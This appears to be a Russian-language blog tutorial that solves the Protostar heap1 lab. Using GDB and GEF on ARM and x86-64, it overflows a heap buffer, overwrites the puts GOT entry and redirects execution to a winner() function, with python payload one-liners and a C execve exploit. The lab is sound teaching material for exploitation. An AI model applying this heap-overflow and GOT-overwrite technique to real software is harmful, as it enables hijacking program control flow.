В данном туториале подразумевается, что читатель уже знаком с основами работы функции malloc библиотеки glibc. Тут так же очень информативно. Подробно рассмотрим как эксплуатировать переполнение кучи в Linux на примере 32-разрядного Raspberry PI/ARM1176. Так же разберем некоторые нюансы эксплуатации и в x86-x64 системах. Для этого будем использовать инструменты GDB + GEF.
Переходим сразу к уязвимому коду, который я позаимствовал из лабораторных заданий Protostar, а именно данное задание.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
struct internet {
int priority;
char *name;
};
void winner()
{
printf("and we have a winner @ %d\n", time(NULL));
}
int main(int argc, char **argv)
{
struct internet *i1, *i2, *i3;
i1 = malloc(sizeof(struct internet));
i1->priority = 1;
i1->name = malloc(8);
i2 = malloc(sizeof(struct internet));
i2->priority = 2;
i2->name = malloc(8);
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
printf("and that's a wrap folks!\n");
}
- Создаются структуры i1, i2, i3.
- При запуске программы передаются два аргумента, которые копируются по адресам указателей i1->name и i2->name соответственно.
- И в конце выводится сообщение "and that's a wrap folks!".
Задача.
Вызвать функцию winner.Решение.
Для начала компилируем код:
gcc -o heap1 heap1.c
- Для вызова функции winner, нужно взять ее адрес и записать в указатель, в котором находится адрес функции printf .
- Для этого надо переполнить указатель i1->name и перезаписать адрес i2->name адресом функции winner.
- Что бы его переполнить, необходимо вычислить длину смещения от i1->name до i2->name.
Выглядит запутанным, но обо всем по порядку.
Вычисляем длину.
Способ 1
Эту длину можно подобрать экспериментальным путем. Загружаем нашу программу в GDB
gdb -q heap1
Смотрим код
disas main
b *0x000105сс
И запускаем с параметрами
r AAAA BBBB
Смотрим адрес начала кучи:
info proc map
И по этому адресу смотрим содержимое памяти
x/120x 0x22000
Желтым выделены адреса чанков. Зеленым выделено количество байтов от одного чанка до другого.
Способ 2
heap chunks
heap chunk 0x22160
- 16 байт служебные
- 12 байт пользовательские данные
- 4 байта адрес этого чанка
Подменяем адреса функций
Теперь запустим с входным параметром 24 байта (20 байт до адреса следующего чанка и 4 байта для замещения этого адреса):
./heap1 $(python3 -c 'print("A"*24+" "+"BBBB")')
Получаем Segmentation fault. Теперь через деббагер посмотрим изнутри, что происходит.
gdb ./heap1
disas main
Поставим точку останова на второй вызов функции strcopy, который находится по адресу 0x000105e8
b *0x105e8
И запустим программу
r $(python3 -c 'print("A"*24+" "+"BBBB")')
Переходим к точке останова и наблюдаем, как перезаписывается адрес указателя нашими символами:
Для вызова функции winner, нужно взять ее адрес и записать в указатель, в котором находится адрес функции printf (по факту там находится функция puts).
x/i 0x103a0
Теперь нужно узнать по какому адресу функция puts располагается в GOT. Что бы это узнать воспользуемся GEF командой got. Эта команда выводит текущее состояние таблицы GOT запущенного процесса.
got
И так, мы видим, что наш указатель находится по адресу 0x21018. Будем писать в него адрес нашей функции winner. Теперь посмотрим по какому адресу располагается функция winner.
p winner
Функция расположена по адресу 0x10504. Пришло время составить наш эксплоит и запустить его из под отладчика. Посмотрим изнутри как перезаписывается адрес в указателе i2->name и заносится в него адрес нашей функции:
r $(python3 -c 'print("A"*20+"\x18\x10\x02\x00"+" "+"\x04\x05\x01\x00")')
Здесь мы видим, что по адресу 0x21018 будет записан адрес функции 0x10504 <winner>, что и следовало ожидать. Продолжим выполнение командой nexti и проверим, что находится по адресу 0x21018:
А в нем находится адрес нашей функции 0x10504 <winner>. Теперь выходим из отладчика и запускаем программу обычным способом с нашим эксплоитом:
./heap1 $(python3 -c 'print("A"*20+"\x18\x10\x02\x00"+" "+"\x04\x05\x01\x00")')
Видим, что bash вывел предупреждение, о том, что нуль-байты в наших адресах были проигнорированы (ignored null byte in input), но приложение выдает нам заветное сообщение, тем самым подтверждая, что мы
вызвали функцию winner. Эксплуатация произошла и задача решена.
Некоторые нюансы
Теперь перейдем в Linux для архитектуры x86-x64. В нем установлена последняя версия GDB 10.1.90 на момент написания этого поста и отлична от ARM1176, для Raspberry версия GDB 8.2.1. Например, что бы узнать адрес функции puts, сначала так же смотрим адрес указателя .plt
disas main
а затем можно сразу увидеть адрес функции указателя в закомментированном виде такой командой:
x/i 0x555555555040
p winner
./heap1 "$(python -c 'print("A"*40+"\x20\x80\x55\x55\x55\x55"+" "+"\x75\x51\x55\x55\x55\x55")')"
\x75\x51\x55\x55\x55\x55\x00\x00
#include <stdio.h>
#include <unistd.h>
int main(void)
{
char* const argv[] = {"", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x20\x80\x55\x55\x55\x55\x00\x00", "\x75\x51\x55\x55\x55\x55\x00\x00", 0 };
if (execve("./heap1", argv, NULL) == -1)
perror("Could not execve");
return 1;
}
В коде думаю все ясно.
Компилируем и запускаем
gcc ./exploit.c -o exploit gdb -q ./exploit
Комментариев нет:
Отправить комментарий